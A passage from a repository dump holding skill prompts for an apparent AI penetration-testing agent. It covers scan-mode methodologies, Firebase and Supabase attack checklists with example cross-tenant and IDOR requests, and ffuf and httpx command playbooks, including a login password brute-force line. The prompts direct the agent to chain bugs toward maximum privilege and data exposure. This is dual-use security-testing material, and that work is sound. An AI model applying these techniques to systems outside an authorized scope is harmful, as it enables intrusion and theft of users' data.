lifecycle.\n\n## Phase 3: Comprehensive Attack Surface Testing\n\nTest every input vector with every applicable technique.\n\n**Input Handling**\n- Multiple injection types: SQL, NoSQL, LDAP, XPath, command, template\n- Encoding bypasses: double encoding, unicode, null bytes\n- Boundary conditions and type confusion\n- Large payloads and buffer-related issues\n\n**Authentication & Session**\n- Exhaustive brute force protection testing\n- Session fixation, hijacking, prediction\n- JWT/token manipulation\n- OAuth flow abuse scenarios\n- Password reset vulnerabilities: token leakage, reuse, timing\n- MFA bypass techniques\n- Account enumeration through all channels\n\n**Access Control**\n- Test every endpoint for horizontal and vertical access control\n- Parameter tampering on all object references\n- Forced browsing to all discovered resources\n- HTTP method tampering (GET vs POST vs PUT vs DELETE)\n- Access control after session state changes (logout, role change)\n\n**File Operations**\n- Exhaustive file upload bypass: extension, content-type, magic bytes\n- Path traversal on all file parameters\n- SSRF through file inclusion\n- XXE through all XML parsing points\n\n**Business Logic**\n- Race conditions on all state-changing operations\n- Workflow bypass on every multi-step process\n- Price/quantity manipulation in transactions\n- Parallel execution attacks\n- TOCTOU (time-of-check to time-of-use) vulnerabilities\n\n**Advanced Techniques**\n- HTTP request smuggling (multiple proxies/servers)\n- Cache poisoning and cache deception\n- Subdomain takeover\n- Prototype pollution (JavaScript applications)\n- CORS misconfiguration exploitation\n- WebSocket security testing\n- GraphQL-specific attacks (introspection, batching, nested queries)\n\n## Phase 4: Vulnerability Chaining\n\nIndividual bugs are starting points. Chain them for maximum impact:\n\n- Combine information disclosure with access control bypass\n- Chain SSRF to reach internal services\n- Use low-severity findings to enable high-impact attacks\n- Build multi-step attack paths that automated tools miss\n- Cross component boundaries: user → admin, external → internal, read → write, single-tenant → cross-tenant\n\n**Chaining Principles**\n- Treat every finding as a pivot point: ask \"what does this unlock next?\"\n- Continue until reaching maximum privilege / maximum data exposure / maximum control\n- Prefer end-to-end exploit paths over isolated bugs: initial foothold → pivot → privilege gain → sensitive action/data\n- Validate chains by executing the full sequence (proxy + browser for workflows, python for automation)\n- When a pivot is found, spawn focused agents to continue the chain in the next component\n\n## Phase 5: Persistent Testing\n\nWhen initial attempts fail:\n\n- Research technology-specific bypasses\n- Try alternative exploitation techniques\n- Test edge cases and unusual functionality\n- Test with different client contexts\n- Revisit areas with new information from other findings\n- Consider timing-based and blind exploitation\n- Look for logic flaws that require deep application understanding\n\n## Phase 6: Comprehensive Reporting\n\n- Document every confirmed vulnerability with full details\n- Include all severity levels—low findings may enable chains\n- Complete reproduction steps and working PoC\n- Remediation recommendations with specific guidance\n- Note areas requiring additional review beyond current scope\n\n## Agent Strategy\n\nAfter reconnaissance, decompose the application hierarchically:\n\n1. **Component level** - Auth System, Payment Gateway, User Profile, Admin Panel\n2. **Feature level** - Login Form, Registration API, Password Reset\n3. **Vulnerability level** - SQLi Agent, XSS Agent, Auth Bypass Agent\n\nSpawn specialized agents at each level. Scale horizontally to maximum parallelization:\n- Do NOT overload a single agent with multiple vulnerability types\n- Each agent focuses on one specific area or vulnerability type\n- Creates a massive parallel swarm covering every angle\n\n## Mindset\n\nRelentless. Creative. Patient. Thorough. Persistent.\n\nThis is about finding what others miss. Test every parameter, every endpoint, every edge case. If one approach fails, try ten more. Understand how components interact to find systemic issues.\n"
  },
  {
    "path": "strix/skills/scan_modes/quick.md",
    "content": "---\nname: quick\ndescription: Time-boxed rapid assessment targeting high-impact vulnerabilities\n---\n\n# Quick Testing Mode\n\nTime-boxed assessment focused on high-impact vulnerabilities. Prioritize breadth over depth.\n\n## Approach\n\nOptimize for fast feedback on critical security issues. Skip exhaustive enumeration in favor of targeted testing on high-value attack surfaces.\n\n## Phase 1: Rapid Orientation\n\n**Whitebox (source available)**\n- Focus on recent changes: git diffs, new commits, modified files—these are most likely to contain fresh bugs\n- Identify security-sensitive patterns in changed code: auth checks, input handling, database queries, file operations\n- Trace user input through modified code paths\n- Check if security controls were modified or bypassed\n\n**Blackbox (no source)**\n- Map authentication and critical user flows\n- Identify exposed endpoints and entry points\n- Skip deep content discovery—test what's immediately accessible\n\n## Phase 2: High-Impact Targets\n\nTest in priority order:\n\n1. **Authentication bypass** - login flaws, session issues, token weaknesses\n2. **Broken access control** - IDOR, privilege escalation, missing authorization\n3. **Remote code execution** - command injection, deserialization, SSTI\n4. **SQL injection** - authentication endpoints, search, filters\n5. **SSRF** - URL parameters, webhooks, integrations\n6. **Exposed secrets** - hardcoded credentials, API keys, config files\n\nSkip for quick scans:\n- Exhaustive subdomain enumeration\n- Full directory bruteforcing\n- Low-severity information disclosure\n- Theoretical issues without working PoC\n\n## Phase 3: Validation\n\n- Confirm exploitability with minimal proof-of-concept\n- Demonstrate real impact, not theoretical risk\n- Report findings immediately as discovered\n\n## Chaining\n\nWhen a strong primitive is found (auth weakness, injection point, internal access), immediately attempt one high-impact pivot to demonstrate maximum severity. Don't stop at a low-context \"maybe\"—turn it into a concrete exploit sequence that reaches privileged action or sensitive data.\n\n## Operational Guidelines\n\n- Use browser tool for quick manual testing of critical flows\n- Use terminal for targeted scans with fast presets (e.g., nuclei with critical/high templates only)\n- Use proxy to inspect traffic on key endpoints\n- Skip extensive fuzzing—use targeted payloads only\n- Create subagents only for parallel high-priority tasks\n\n## Mindset\n\nThink like a time-boxed bug bounty hunter going for quick wins. Prioritize breadth over depth on critical areas. If something looks exploitable, validate quickly and move on. Don't get stuck—if an attack vector isn't yielding results quickly, pivot.\n"
  },
  {
    "path": "strix/skills/scan_modes/standard.md",
    "content": "---\nname: standard\ndescription: Balanced security assessment with systematic methodology and full attack surface coverage\n---\n\n# Standard Testing Mode\n\nBalanced security assessment with structured methodology. Thorough coverage without exhaustive depth.\n\n## Approach\n\nSystematic testing across the full attack surface. Understand the application before exploiting it.\n\n## Phase 1: Reconnaissance\n\n**Whitebox (source available)**\n- Map codebase structure: modules, entry points, routing\n- Identify architecture pattern (MVC, microservices, monolith)\n- Trace input vectors: forms, APIs, file uploads, headers, cookies\n- Review authentication and authorization flows\n- Analyze database interactions and ORM usage\n- Check dependencies for known CVEs\n- Understand the data model and sensitive data locations\n\n**Blackbox (no source)**\n- Crawl application thoroughly, interact with every feature\n- Enumerate endpoints, parameters, and functionality\n- Fingerprint technology stack\n- Map user roles and access levels\n- Capture traffic with proxy to understand request/response patterns\n\n## Phase 2: Business Logic Analysis\n\nBefore testing for vulnerabilities, understand the application:\n\n- **Critical flows** - payments, registration, data access, admin functions\n- **Role boundaries** - what actions are restricted to which users\n- **Data access rules** - what data should be isolated between users\n- **State transitions** - order lifecycle, account status changes\n- **Trust boundaries** - where does privilege or sensitive data flow\n\n## Phase 3: Systematic Testing\n\nTest each attack surface methodically. Spawn focused subagents for different areas.\n\n**Input Validation**\n- Injection testing on all input fields (SQL, XSS, command, template)\n- File upload bypass attempts\n- Search and filter parameter manipulation\n- Redirect and URL parameter handling\n\n**Authentication & Session**\n- Brute force protection\n- Session token entropy and handling\n- Password reset flow analysis\n- Logout session invalidation\n- Authentication bypass techniques\n\n**Access Control**\n- Horizontal: user A accessing user B's resources\n- Vertical: unprivileged user accessing admin functions\n- API endpoints vs UI access control consistency\n- Direct object reference manipulation\n\n**Business Logic**\n- Multi-step process bypass (skip steps, reorder)\n- Race conditions on state-changing operations\n- Boundary conditions: negative values, zero, extremes\n- Transaction replay and manipulation\n\n## Phase 4: Exploitation\n\n- Every finding requires a working proof-of-concept\n- Demonstrate actual impact, not theoretical risk\n- Chain vulnerabilities to show maximum severity\n- Document full attack path from entry to impact\n- Use python tool for complex exploit development\n\n## Phase 5: Reporting\n\n- Document all confirmed vulnerabilities with reproduction steps\n- Severity based on exploitability and business impact\n- Remediation recommendations\n- Note areas requiring further investigation\n\n## Chaining\n\nAlways ask: \"If I can do X, what does that enable next?\" Keep pivoting until reaching maximum privilege or data exposure.\n\nPrefer complete end-to-end paths (entry point → pivot → privileged action/data) over isolated findings. Use the application as a real user would—exploit must survive actual workflow and state transitions.\n\nWhen you discover a useful pivot (info leak, weak boundary, partial access), immediately pursue the next step rather than stopping at the first win.\n\n## Mindset\n\nMethodical and systematic. Document as you go. Validate everything—no assumptions about exploitability. Think about business impact, not just technical severity.\n"
  },
  {
    "path": "strix/skills/technologies/firebase_firestore.md",
    "content": "---\nname: firebase-firestore\ndescription: Firebase/Firestore security testing covering security rules, Cloud Functions, and client-side trust issues\n---\n\n# Firebase / Firestore\n\nSecurity testing for Firebase applications. Focus on Firestore/Realtime Database rules, Cloud Storage exposure, callable/onRequest Functions trusting client input, and incorrect ID token validation.\n\n## Attack Surface\n\n**Data Stores**\n- Firestore (documents/collections, rules, REST/SDK)\n- Realtime Database (JSON tree, rules)\n- Cloud Storage (rules, signed URLs)\n\n**Authentication**\n- Auth ID tokens, custom claims, anonymous/sign-in providers\n- App Check attestation (and its limits)\n\n**Server-Side**\n- Cloud Functions (onCall/onRequest, triggers)\n- Admin SDK (bypasses rules)\n\n**Infrastructure**\n- Hosting rewrites, CDN/caching, CORS\n\n## Architecture\n\n**Endpoints**\n- Firestore REST: `https://firestore.googleapis.com/v1/projects/<project>/databases/(default)/documents/<path>`\n- Realtime DB: `https://<project>.firebaseio.com/.json`\n- Storage REST: `https://storage.googleapis.com/storage/v1/b/<bucket>`\n\n**Auth**\n- Google-signed ID tokens (iss: `accounts.google.com` or `securetoken.google.com/<project>`)\n- Audience: `<project>` or `<app-id>`, identity in `sub`/`uid`\n- Rules engines: separate for Firestore, Realtime DB, and Storage\n- Functions bypass rules when using Admin SDK\n\n## High-Value Targets\n\n- Firestore collections with sensitive data (users, orders, payments)\n- Realtime Database root and high-level nodes\n- Cloud Storage buckets with private files\n- Cloud Functions (especially triggers that grant roles or issue signed URLs)\n- Admin/staff routes and privilege-granting endpoints\n- Export/report functions that generate signed outputs\n\n## Reconnaissance\n\n**Extract Project Config**\n\nFrom client bundle:\n```javascript\n// apiKey, authDomain, projectId, appId, storageBucket, messagingSenderId\nfirebase.apps[0].options\n```\n\n**Obtain Principals**\n- Unauthenticated\n- Anonymous (if enabled)\n- Basic user A, user B\n- Staff/admin (if available)\n\nCapture ID tokens for each.\n\n## Key Vulnerabilities\n\n### Firestore Rules\n\nRules are not filters—a query must include constraints that make the rule true for all returned documents.\n\n**Common Gaps**\n- `allow read: if request.auth != null` — any authenticated user reads all data\n- `allow write: if request.auth != null` — mass write access\n- Missing per-field validation (allows adding `isAdmin`/`role`/`tenantId` fields)\n- Using client-supplied `ownerId`/`orgId` instead of `resource.data.ownerId == request.auth.uid`\n- Over-broad list rules on root collections (per-doc checks exist but list still leaks)\n\n**Secure Patterns**\n```javascript\n// Restrict write fields\nrequest.resource.data.keys().hasOnly(['field1', 'field2', 'field3'])\n\n// Enforce ownership\nresource.data.ownerId == request.auth.uid &&\nrequest.resource.data.ownerId == request.auth.uid\n\n// Org membership check\nexists(/databases/(default)/documents/orgs/$(org)/members/$(request.auth.uid))\n```\n\n**Tests**\n- Compare results for users A/B on identical queries; diff counts and IDs\n- Cross-tenant reads: `where orgId == otherOrg`; try queries without org filter\n- Write-path: set/patch with foreign `ownerId`/`orgId`; attempt to flip privilege flags\n\n### Firestore Queries\n\n- Use REST to avoid SDK client-side constraints\n- Probe composite index requirements (UI-driven queries may hide missing rule coverage)\n- Explore `collectionGroup` queries that may bypass per-collection rules\n- Use `startAt`/`endAt`/`in`/`array-contains` to probe rule edges and pagination cursors\n\n### Realtime Database\n\n- Misconfigured rules frequently expose entire JSON trees\n- Probe `https://<project>.firebaseio.com/.json` with and without auth\n- Confirm rules use `auth.uid` and granular path checks\n- Avoid `.read/.write: true` or `auth != null` at high-level nodes\n- Attempt to write privilege-bearing nodes (roles, org membership)\n\n### Cloud Storage\n\n**Common Issues**\n- Public reads on sensitive buckets/paths\n- Signed URLs with long TTL, no content-disposition controls, replayable across tenants\n- List operations exposed: `/o?prefix=` enumerates object keys\n\n**Tests**\n- GET gs:// paths via HTTPS without auth; verify Content-Type and `Content-Disposition: attachment`\n- Generate and reuse signed URLs across accounts and paths; try case/URL-encoding variants\n- Upload HTML/SVG and verify `X-Content-Type-Options: nosniff`; check for script execution\n\n### Cloud Functions\n\n`onCall` provides `context.auth` automatically; `onRequest` must verify ID tokens explicitly. Admin SDK bypasses rules—all ownership/tenant checks must be in code.\n\n**Common Gaps**\n- Trusting client `uid`/`orgId` from request body instead of `context.auth`\n- Missing `aud`/`iss` verification when manually parsing tokens\n- Over-broad CORS allowing credentialed cross-origin requests\n- Triggers (onCreate/onWrite) granting roles based on document content controlled by client\n\n**Tests**\n- Call both onCall and onRequest endpoints with varied tokens; expect identical decisions\n- Create crafted docs to trigger privilege-granting functions\n- Attempt SSRF via Functions to project/metadata endpoints\n\n### Auth & Token Issues\n\n**Verification Requirements**\n- Issuer, audience (project), signature (Google JWKS), expiration\n- Optionally App Check binding when used\n\n**Pitfalls**\n- Accepting any JWT with valid signature but wrong audience/project\n- Trusting `uid`/account IDs from request body instead of `context.auth.uid`\n- Mixing session cookies and ID tokens without verifying both paths equivalently\n- Custom claims copied into docs then trusted by app code\n\n**Tests**\n- Replay tokens across environments/projects; expect strict `aud`/`iss` rejection\n- Call Functions with and without Authorization; verify identical checks\n\n### App Check\n\nApp Check is not a substitute for authorization.\n\n**Bypasses**\n- REST calls directly to googleapis endpoints with ID token succeed regardless of App Check\n- Mobile reverse engineering: hook client and reuse ID token flows without attestation\n\n**Tests**\n- Compare SDK vs REST behavior with/without App Check headers\n- Confirm no elevated authorization via App Check alone\n\n### Tenant Isolation\n\nApps often implement multi-tenant data models (`orgs/<orgId>/...`). Bind tenant from server context (membership doc or custom claim), not client payload.\n\n**Tests**\n- Vary org header/subdomain/query while keeping token fixed; verify server denies cross-tenant access\n- Export/report Functions: ensure queries execute under caller scope\n\n## Bypass Techniques\n\n- Content-type switching: JSON vs form vs multipart to hit alternate code paths in onRequest\n- Parameter/field pollution: duplicate JSON keys (last-one-wins in many parsers); sneak privilege fields\n- Caching/CDN: Hosting rewrites keying responses without Authorization or tenant headers\n- Race windows: write then read before background enforcements complete\n\n## Blind Enumeration\n\n- Firestore: use error shape, document count, ETag/length to infer existence\n- Storage: length/timing differences on signed URL attempts leak validity\n- Functions: constant-time comparisons vs variable messages reveal authorization branches\n\n## Testing Methodology\n\n1. **Extract config** - Get project config from client bundle\n2. **Obtain principals** - Collect tokens for unauth, anonymous, user A/B, admin\n3. **Build matrix** - Resource × Action × Principal across Firestore/Realtime/Storage/Functions\n4. **SDK vs REST** - Exercise every action via both to detect parity gaps\n5. **Seed IDs** - Start from list/query paths to gather document IDs\n6. **Cross-principal** - Swap document paths, tenants, and user IDs across principals\n\n## Tooling\n\n- SDK + REST: httpie/curl + jq for REST; Firebase emulator and Rules Playground for rapid iteration\n- Rules analysis: script probes for common patterns (`auth != null`, missing field validation)\n- Functions: fuzz onRequest with varied content-types and missing/forged Authorization\n- Storage: enumerate prefixes; test signed URL generation and reuse patterns\n\n## Validation Requirements\n\n- Owner vs non-owner Firestore queries showing unauthorized access or metadata leak\n- Cloud Storage read/write beyond intended scope (public object, signed URL reuse, list exposure)\n- Function accepting forged/foreign identity (wrong `aud`/`iss`) or trusting client `uid`/`orgId`\n- Minimal reproducible requests with roles/tokens used and observed deltas\n"
  },
  {
    "path": "strix/skills/technologies/supabase.md",
    "content": "---\nname: supabase\ndescription: Supabase security testing covering Row Level Security, PostgREST, Edge Functions, and service key exposure\n---\n\n# Supabase\n\nSecurity testing for Supabase applications. Focus on mis-scoped Row Level Security (RLS), unsafe RPCs, leaked `service_role` keys, lax Storage policies, and Edge Functions trusting headers without binding to issuer/audience/tenant.\n\n## Attack Surface\n\n**Data Access**\n- PostgREST: table CRUD, filters, embeddings, RPC (remote functions)\n- GraphQL: pg_graphql over Postgres schema with RLS interaction\n- Realtime: replication subscriptions, broadcast/presence channels\n\n**Storage**\n- Buckets, objects, signed URLs, public/private policies\n\n**Authentication**\n- Auth (GoTrue): JWTs, cookie/session, magic links, OAuth flows\n\n**Server-Side**\n- Edge Functions (Deno): server-side code calling Supabase with secrets\n\n## Architecture\n\n**Endpoints**\n- REST: `https://<ref>.supabase.co/rest/v1/<table>`\n- RPC: `https://<ref>.supabase.co/rest/v1/rpc/<fn>`\n- Storage: `https://<ref>.supabase.co/storage/v1`\n- GraphQL: `https://<ref>.supabase.co/graphql/v1`\n- Realtime: `wss://<ref>.supabase.co/realtime/v1`\n- Auth: `https://<ref>.supabase.co/auth/v1`\n- Functions: `https://<ref>.functions.supabase.co/`\n\n**Headers**\n- `apikey: <anon-or-service>` — identifies project\n- `Authorization: Bearer <JWT>` — binds user context\n\n**Roles**\n- `anon`, `authenticated` — standard roles\n- `service_role` — bypasses RLS, must never be client-exposed\n\n**Key Principle**\n`auth.uid()` returns current user UUID from JWT. Policies must never trust client-supplied IDs over server context.\n\n## High-Value Targets\n\n- Tables with sensitive data (users, orders, payments, PII)\n- RPC functions (especially `SECURITY DEFINER`)\n- Storage buckets with private files\n- Edge Functions with `service_role` access\n- Export/report endpoints generating signed outputs\n- Admin/staff routes and privilege-granting endpoints\n\n## Reconnaissance\n\n**Enumerate Surfaces**\n```\n/rest/v1/<table>\n/rest/v1/rpc/<fn>\n/storage/v1/object/public/<bucket>/\n/storage/v1/object/list/<bucket>?prefix=\n/graphql/v1\n/auth/v1\n```\n\n**Obtain Principals**\n- Unauthenticated (anon key only)\n- Basic user A, user B\n- Admin/staff (if available)\n- Check if `service_role` key leaked in client bundle or Edge Function responses\n\n## Key Vulnerabilities\n\n### Row Level Security (RLS)\n\nEnable RLS on every non-public table; absence or \"permit-all\" policies → bulk exposure.\n\n**Common Gaps**\n- Policies check `auth.uid()` for SELECT but forget UPDATE/DELETE/INSERT\n- Missing tenant constraints (`org_id`/`tenant_id`) allow cross-tenant access\n- Policies rely on client-provided columns (`user_id` in payload) instead of JWT\n- Complex joins where policy is applied after filters, enabling inference via counts\n\n**Tests**\n```bash\n# Compare row counts for two users\nGET /rest/v1/<table>?select=*&Prefer=count=exact\n\n# Cross-tenant probe\nGET /rest/v1/<table>?org_id=eq.<other_org>\nGET /rest/v1/<table>?or=(org_id.eq.other,org_id.is.null)\n\n# Write-path\nPATCH /rest/v1/<table>?id=eq.<foreign_id>\nDELETE /rest/v1/<table>?id=eq.<foreign_id>\nPOST /rest/v1/<table> with foreign owner_id\n```\n\n### PostgREST & REST\n\n**Filters**\n- `eq`, `neq`, `lt`, `gt`, `ilike`, `or`, `is`, `in`\n- Embed relations: `select=*,profile(*)`—exploits overfetch if resolvers skip per-row checks\n- Search leaks: generous `LIKE`/`ILIKE` filters combined with missing RLS → mass disclosure via wildcard queries\n\n**Headers**\n- `Prefer: return=representation` — echo writes\n- `Prefer: count=exact` — exposure via counts\n- `Accept-Profile`/`Content-Profile` — select schema\n\n**IDOR Patterns**\n```\n/rest/v1/<table>?select=*&id=eq.<other_id>\n/rest/v1/<table>?select=*&slug=eq.<other_slug>\n/rest/v1/<table>?select=*&email=eq.<other_email>\n```\n\n**Mass Assignment**\n- If RPC not used, PATCH can update unintended columns\n- Verify restricted columns via database permissions/policies\n\n### RPC Functions\n\nRPC endpoints map to SQL functions. `SECURITY DEFINER` bypasses RLS unless carefully coded; `SECURITY INVOKER` respects caller.\n\n**Anti-Patterns**\n- `SECURITY DEFINER` + missing owner checks → vertical/horizontal bypass\n- `set search_path` left to public; function resolves unsafe objects\n- Trusting client-supplied `user_id`/`tenant_id` rather than `auth.uid()`\n\n**Tests**\n```bash\n# Call as different users with foreign IDs\nPOST /rest/v1/rpc/<fn> {\"user_id\": \"<foreign_id>\"}\n\n# Remove JWT entirely\nAuthorization: Bearer <anon_token>\n```\nVerify functions perform explicit ownership/tenant checks inside SQL.\n\n### Storage\n\n**Buckets**\n- Public vs private; objects in `storage.objects` with RLS-like policies\n\n**Misconfigurations**\n```bash\n# Public bucket with sensitive data\nGET /storage/v1/object/public/<bucket>/<path>\n\n# List prefixes without auth\nGET /storage/v1/object/list/<bucket>?prefix=\n\n# Signed URL reuse across tenants/paths\n```\n\n**Content-Type Abuse**\n- Upload HTML/SVG served as `text/html` or `image/svg+xml`\n- Verify `X-Content-Type-Options: nosniff` and `Content-Disposition: attachment`\n\n**Path Confusion**\n- Mixed case, URL-encoding, `..` segments may be rejected at UI but accepted by API\n- Test path normalization differences between client validation and server handling\n\n### Realtime\n\n**Endpoint**: `wss://<ref>.supabase.co/realtime/v1`\n\n**Risks**\n- Channel names derived from table/schema/filters leaking other users' updates when RLS or channel guards are weak\n- Broadcast/presence channels allowing cross-room join/publish without auth\n\n**Tests**\n- Subscribe to `public:realtime` changes on protected tables; confirm visibility aligns with RLS\n- Attempt joining other users' channels: `room:<user_id>`, `org:<org_id>`\n\n### GraphQL\n\n**Endpoint**: `/graphql/v1` using pg_graphql with RLS\n\n**Risks**\n- Introspection reveals schema relations\n- Overfetch via nested relations where resolvers skip per-row ownership checks\n- Global node IDs leaked and reusable via different viewers\n\n**Tests**\n- Compare REST vs GraphQL responses for same principal and query shape\n- Query deep nested fields; verify RLS holds at each edge\n\n### Auth & Tokens\n\nGoTrue issues JWTs with claims (`sub=uid`, `role`, `aud=authenticated`).\n\n**Verification Requirements**\n- Issuer, audience, expiration, signature, tenant context\n\n**Pitfalls**\n- Storing tokens in localStorage → XSS exfiltration\n- Treating `apikey` as identity (it's project-scoped, not user identity)\n- Exposing `service_role` key in client bundle or Edge Function responses\n- Refresh token mismanagement leading to long-lived sessions beyond intended TTL\n\n**Tests**\n- Replay tokens across services; check audience/issuer pinning\n- Try downgraded tokens (expired/other audience) against custom endpoints\n\n### Edge Functions\n\nDeno-based functions often initialize Supabase client with `service_role`.\n\n**Risks**\n- Trusting Authorization/apikey headers without verifying JWT against issuer/audience\n- CORS: wildcard origins with credentials; reflected Authorization in responses\n- SSRF via fetch; secrets exposed via error traces or logs\n\n**Tests**\n- Call functions with and without Authorization; compare behavior\n- Try foreign resource IDs in payloads; verify server re-derives user/tenant from JWT\n- Attempt to reach internal endpoints (metadata services) via function fetch\n\n### Tenant Isolation\n\nEnsure every query joins or filters by `tenant_id`/`org_id` derived from JWT context, not client input.\n\n**Tests**\n- Change subdomain/header/path tenant selectors while keeping JWT tenant constant\n- Export/report endpoints: confirm queries execute under caller scope\n\n## Bypass Techniques\n\n- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data`\n- Parameter pollution: duplicate keys in JSON/query (PostgREST chooses last/first depending on parser)\n- GraphQL+REST parity probing: protections often drift; fetch via the weaker path\n- Race windows: parallel writes to bypass post-insert ownership updates\n\n## Blind Enumeration\n\n- Use `Prefer: count=exact` and ETag/length diffs to infer unauthorized rows\n- Conditional requests (`If-None-Match`) to detect object existence\n- Storage signed URLs: timing/length deltas to map valid vs invalid tokens\n\n## Testing Methodology\n\n1. **Inventory surfaces** - Map REST, Storage, GraphQL, Realtime, Auth, Functions endpoints\n2. **Obtain principals** - Collect tokens for anon, user A/B, admin; check for `service_role` leaks\n3. **Build matrix** - Resource × Action × Principal\n4. **REST vs GraphQL** - Test both to find parity gaps\n5. **Seed IDs** - Start with list/search endpoints to gather IDs\n6. **Cross-principal** - Swap IDs, tenants, and transports across principals\n\n## Tooling\n\n- PostgREST: httpie/curl + jq; enumerate tables; fuzz filters (`or=`, `ilike`, `neq`, `is.null`)\n- GraphQL: graphql-inspector, voyager; deep queries for field-level enforcement\n- Realtime: custom ws client; subscribe to suspicious channels; diff payloads per principal\n- Storage: enumerate bucket listing APIs; script signed URL patterns\n- Auth/JWT: jwt-cli/jose to validate audience/issuer; replay against Edge Functions\n- Policy diffing: maintain request sets per role; compare results across releases\n\n## Validation Requirements\n\n- Owner vs non-owner requests for REST/GraphQL showing unauthorized access (content or metadata)\n- Mis-scoped RPC or Storage signed URL usable by another user/tenant\n- Realtime or GraphQL exposure matching missing policy checks\n- Minimal reproducible requests with role contexts documented\n"
  },
  {
    "path": "strix/skills/tooling/ffuf.md",
    "content": "---\nname: ffuf\ndescription: ffuf fuzzing syntax with matcher/filter strategy and non-interactive defaults.\n---\n\n# ffuf CLI Playbook\n\nOfficial docs:\n- https://github.com/ffuf/ffuf\n\nCanonical syntax:\n`ffuf -w <wordlist> -u <url_with_FUZZ> [flags]`\n\nHigh-signal flags:\n- `-u <url>` target URL containing `FUZZ`\n- `-w <wordlist>` wordlist input (supports `KEYWORD` mapping via `-w file:KEYWORD`)\n- `-mc <codes>` match status codes\n- `-fc <codes>` filter status codes\n- `-fs <size>` filter by body size\n- `-ac` auto-calibration\n- `-t <n>` threads\n- `-rate <n>` request rate\n- `-timeout <seconds>` HTTP timeout\n- `-x <proxy_url>` upstream proxy (HTTP/SOCKS)\n- `-ignore-body` skip downloading response body\n- `-noninteractive` disable interactive console mode\n- `-recursion` and `-recursion-depth <n>` recursive discovery\n- `-H <header>` custom headers\n- `-X <method>` and `-d <body>` for non-GET fuzzing\n- `-o <file> -of <json|ejson|md|html|csv|ecsv>` structured output\n\nAgent-safe baseline for automation:\n`ffuf -w wordlist.txt -u https://target.tld/FUZZ -mc 200,204,301,302,307,401,403,405 -ac -t 20 -rate 50 -timeout 10 -noninteractive -of json -o ffuf.json`\n\nCommon patterns:\n- Basic path fuzzing:\n  `ffuf -w /path/wordlist.txt -u https://target.tld/FUZZ -mc 200,204,301,302,307,401,403 -ac -t 40 -rate 200 -noninteractive`\n- Vhost fuzzing:\n  `ffuf -w vhosts.txt -u https://target.tld -H 'Host: FUZZ.target.tld' -fs 0 -ac -noninteractive`\n- Parameter value fuzzing:\n  `ffuf -w values.txt -u 'https://target.tld/search?q=FUZZ' -mc all -fs 0 -ac -t 30 -noninteractive`\n- POST body fuzzing:\n  `ffuf -w payloads.txt -u https://target.tld/login -X POST -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=FUZZ' -fc 401 -noninteractive`\n- Recursive discovery:\n  `ffuf -w dirs.txt -u https://target.tld/FUZZ -recursion -recursion-depth 2 -ac -t 30 -noninteractive`\n- Proxy-instrumented run:\n  `ffuf -w wordlist.txt -u https://target.tld/FUZZ -x http://127.0.0.1:48080 -mc 200,301,302,403 -ac -noninteractive`\n\nCritical correctness rules:\n- `FUZZ` must appear exactly at the mutation point in URL/header/body.\n- If using `-w file:KEYWORD`, that same `KEYWORD` must be present in URL/header/body.\n- Always include `-noninteractive` in agent/script execution to prevent ffuf console mode from swallowing subsequent shell commands.\n- Save structured output with `-of json -o <file>` for deterministic parsing.\n\nUsage rules:\n- Prefer explicit matcher/filter strategy (`-mc`/`-fc`/`-fs`) over default-only output.\n- Start conservative (`-rate`, `-t`) and scale only if target tolerance is known.\n- Do not use `-h`/`--help` during normal execution unless absolutely necessary.\n\nFailure recovery:\n- If ffuf drops into interactive mode, send `C-c` and rerun with `-noninteractive`.\n- If response noise is too high, tighten `-mc/-fc/-fs` instead of increasing load.\n- If runtime is too long, lower `-rate/-t` and tighten scope.\n\nIf uncertain, query web_search with:\n`site:github.com/ffuf/ffuf <flag> README`\n"
  },
  {
    "path": "strix/skills/tooling/httpx.md",
    "content": "---\nname: httpx\ndescription: ProjectDiscovery httpx probing syntax, exact probe flags, and automation-safe output patterns.\n---\n\n# httpx CLI Playbook\n\nOfficial docs:\n- https://docs.projectdiscovery.io/opensource/httpx/usage\n- https://docs.projectdiscovery.io/opensource/httpx/running\n- https://github.com/projectdiscovery/httpx\n\nCanonical syntax:\n`httpx [flags]`\n\nHigh-signal flags:\n- `-u, -target <url>` single target\n- `-l, -list <file>` target list\n- `-nf, -no-fallback` probe both HTTP and HTTPS\n- `-nfs, -no-fallback-scheme` do not auto-switch schemes\n- `-sc` status code\n- `-title` page title\n- `-server, -web-server` server header\n- `-td, -tech-detect` technology detection\n- `-fr, -follow-redirects` follow redirects\n- `-mc <codes>` / `-fc <codes>` match or filter status codes\n- `-path <path_or_file>` probe specific paths\n- `-p, -ports <ports>` probe custom ports\n- `-proxy, -http-proxy <url>` proxy target requests\n- `-tlsi, -tls-impersonate` experimental TLS impersonation\n- `-j, -json` JSONL output\n- `-sr, -store-response` store request/response artifacts\n- `-srd, -store-response-dir <dir>` custom directory for stored artifacts\n- `-silent` compact output\n- `-rl <n>` requests/second cap\n- `-t <n>` threads\n- `-timeout <seconds>` request timeout\n- `-retries <n>` retry attempts\n- `-o <file>` output file\n\nAgent-safe baseline for automation:\n`httpx -l hosts.txt -sc -title -server -td -fr -timeout 10 -retries 1 -rl 50 -t 25 -silent -j -o httpx.jsonl`\n\nCommon patterns:\n- Quick live+fingerprint check:\n  `httpx -l hosts.txt -sc -title -server -td -silent -o httpx.txt`\n- Probe known admin paths:\n  `httpx -l hosts.txt -path /,/login,/admin -sc -title -silent -j -o httpx_paths.jsonl`\n- Probe both schemes explicitly:\n  `httpx -l hosts.txt -nf -sc -title -silent`\n- Vhost detection pass:\n  `httpx -l hosts.txt -vhost -sc -title -silent -j -o httpx_vhost.jsonl`\n- Proxy-instrumented probing:\n  `httpx -l hosts.txt -sc -title -proxy http://127.0.0.1:48080 -silent -j -o httpx_proxy.jsonl`\n- Response-storage pass for downstream content parsing:\n  `httpx -l hosts.txt -fr -sr -srd recon/httpx_store -sc -title -server -cl -ct -location -probe -silent`\n\nCritical correctness rules:\n- For machine parsing, prefer `-j -o <file>`.\n- Keep `-rl` and `-t` explicit for reproducible throughput.\n- Use `-nf` when you need dual-scheme probing from host-only input.\n- When using `-path` or `-ports`, keep scope tight to avoid accidental scan inflation.\n- Use `-sr -srd <dir>` when later steps need raw response artifacts (JS/route extraction, grepping, replay).\n\nUsage rules:\n- Use `-silent` for pipeline-friendly output.\n- Use `-mc/-fc` when downstream steps depend on specific response classes.\n- Prefer `-proxy` flag over global proxy env vars when only httpx traffic should be proxied.\n- Do not use `-h`/`--help` for routine runs unless 